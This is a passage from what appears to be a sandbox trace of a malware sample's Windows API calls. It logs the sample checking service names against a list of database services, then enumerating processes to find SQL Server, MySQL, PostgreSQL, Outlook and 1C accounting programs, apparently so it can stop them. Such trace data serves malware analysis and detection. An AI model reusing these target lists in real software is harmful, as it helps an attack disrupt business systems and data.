lpString2="Dnscache") returned 1 [0075.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0075.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0075.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0075.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0075.995] lstrlenW (lpString="DPS") returned 3 [0075.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0075.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0075.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0075.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0075.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0075.995] lstrlenW (lpString="eventlog") returned 8 [0075.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0075.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0075.996] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0075.996] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0075.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0075.996] lstrlenW (lpString="EventSystem") returned 11 [0075.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0075.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0075.996] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0075.996] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0075.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0075.996] lstrlenW (lpString="gpsvc") returned 5 [0075.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0075.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0075.996] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0075.996] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0075.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0075.996] lstrlenW (lpString="iphlpsvc") returned 8 [0075.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.996] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0075.996] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0075.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0075.996] lstrlenW (lpString="LanmanServer") returned 12 [0075.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0075.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0075.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0075.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0075.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0075.996] lstrlenW (lpString="LanmanWorkstation") returned 17 [0075.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0075.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0075.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0075.996] lstrlenW (lpString="lmhosts") returned 7 [0075.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0075.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0075.997] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0075.997] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0075.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0075.997] lstrlenW (lpString="MMCSS") returned 5 [0075.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0075.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0075.997] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0075.997] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0075.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0075.997] lstrlenW (lpString="MpsSvc") returned 6 [0075.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0075.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0075.997] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0075.997] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0075.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0075.997] lstrlenW (lpString="Netman") returned 6 [0075.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0075.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0075.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0075.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0075.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0075.997] lstrlenW (lpString="netprofm") returned 8 [0075.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0075.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0075.997] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0075.997] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0075.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0075.997] lstrlenW (lpString="NlaSvc") returned 6 [0075.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0075.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0075.997] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0075.997] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0075.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0075.997] lstrlenW (lpString="nsi") returned 3 [0075.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0075.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0075.998] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0075.998] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0075.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0075.998] lstrlenW (lpString="PcaSvc") returned 6 [0075.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0075.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0075.998] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0075.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0075.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0075.998] lstrlenW (lpString="PlugPlay") returned 8 [0075.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0075.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0075.998] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0075.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0075.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0075.998] lstrlenW (lpString="Power") returned 5 [0075.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0075.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0075.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0075.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0075.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0075.998] lstrlenW (lpString="ProfSvc") returned 7 [0075.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0075.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0075.998] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0075.998] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0075.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0075.998] lstrlenW (lpString="RpcEptMapper") returned 12 [0075.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.998] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0075.998] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0075.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0075.999] lstrlenW (lpString="RpcSs") returned 5 [0075.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0075.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0075.999] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0075.999] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0075.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0075.999] lstrlenW (lpString="SamSs") returned 5 [0075.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0075.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0075.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0075.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0075.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0075.999] lstrlenW (lpString="Schedule") returned 8 [0075.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0075.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0075.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0075.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0075.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0075.999] lstrlenW (lpString="SENS") returned 4 [0075.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0075.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0075.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0075.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0075.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0075.999] lstrlenW (lpString="ShellHWDetection") returned 16 [0075.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0075.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0075.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0075.999] lstrlenW (lpString="Spooler") returned 7 [0075.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0075.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0075.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0075.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0075.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0076.000] lstrlenW (lpString="swprv") returned 5 [0076.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0076.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0076.000] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0076.000] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0076.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0076.000] lstrlenW (lpString="SysMain") returned 7 [0076.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0076.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0076.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0076.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0076.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0076.000] lstrlenW (lpString="Themes") returned 6 [0076.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0076.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0076.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0076.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0076.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0076.000] lstrlenW (lpString="TrkWks") returned 6 [0076.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0076.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0076.000] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0076.000] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0076.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0076.000] lstrlenW (lpString="UxSms") returned 5 [0076.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0076.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0076.001] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0076.001] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0076.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0076.001] lstrlenW (lpString="VSS") returned 3 [0076.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0076.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0076.001] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0076.001] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0076.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0076.001] lstrlenW (lpString="WdiServiceHost") returned 14 [0076.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0076.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0076.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0076.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0076.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0076.001] lstrlenW (lpString="WdiSystemHost") returned 13 [0076.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0076.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0076.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0076.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0076.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0076.001] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0076.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0076.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0076.001] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0076.001] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0076.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0076.001] lstrlenW (lpString="Winmgmt") returned 7 [0076.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0076.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0076.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0076.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0076.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0076.001] lstrlenW (lpString="WPDBusEnum") returned 10 [0076.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0076.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0076.002] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0076.002] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0076.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0076.002] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0076.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0076.006] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.007] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0076.007] lstrlenW (lpString="System") returned 6 [0076.007] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0076.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0076.007] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0076.007] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0076.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0076.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0076.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0076.007] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0076.008] lstrlenW (lpString="smss.exe") returned 8 [0076.008] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0076.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0076.008] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0076.008] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0076.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0076.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0076.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0076.008] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.009] lstrlenW (lpString="csrss.exe") returned 9 [0076.009] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0076.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0076.009] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0076.009] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0076.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0076.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0076.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0076.009] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0076.010] lstrlenW (lpString="wininit.exe") returned 11 [0076.010] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0076.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0076.010] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0076.010] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.010] lstrlenW (lpString="csrss.exe") returned 9 [0076.010] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0076.011] lstrlenW (lpString="winlogon.exe") returned 12 [0076.011] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0076.011] lstrlenW (lpString="services.exe") returned 12 [0076.011] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0076.012] lstrlenW (lpString="lsass.exe") returned 9 [0076.012] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0076.012] lstrlenW (lpString="lsm.exe") returned 7 [0076.012] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.013] lstrlenW (lpString="svchost.exe") returned 11 [0076.013] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.013] lstrlenW (lpString="svchost.exe") returned 11 [0076.013] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.014] lstrlenW (lpString="svchost.exe") returned 11 [0076.014] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.014] lstrlenW (lpString="svchost.exe") returned 11 [0076.014] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.015] lstrlenW (lpString="svchost.exe") returned 11 [0076.015] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0076.015] lstrlenW (lpString="audiodg.exe") returned 11 [0076.015] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.016] lstrlenW (lpString="svchost.exe") returned 11 [0076.016] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.016] lstrlenW (lpString="svchost.exe") returned 11 [0076.017] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0076.017] lstrlenW (lpString="dwm.exe") returned 7 [0076.017] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, 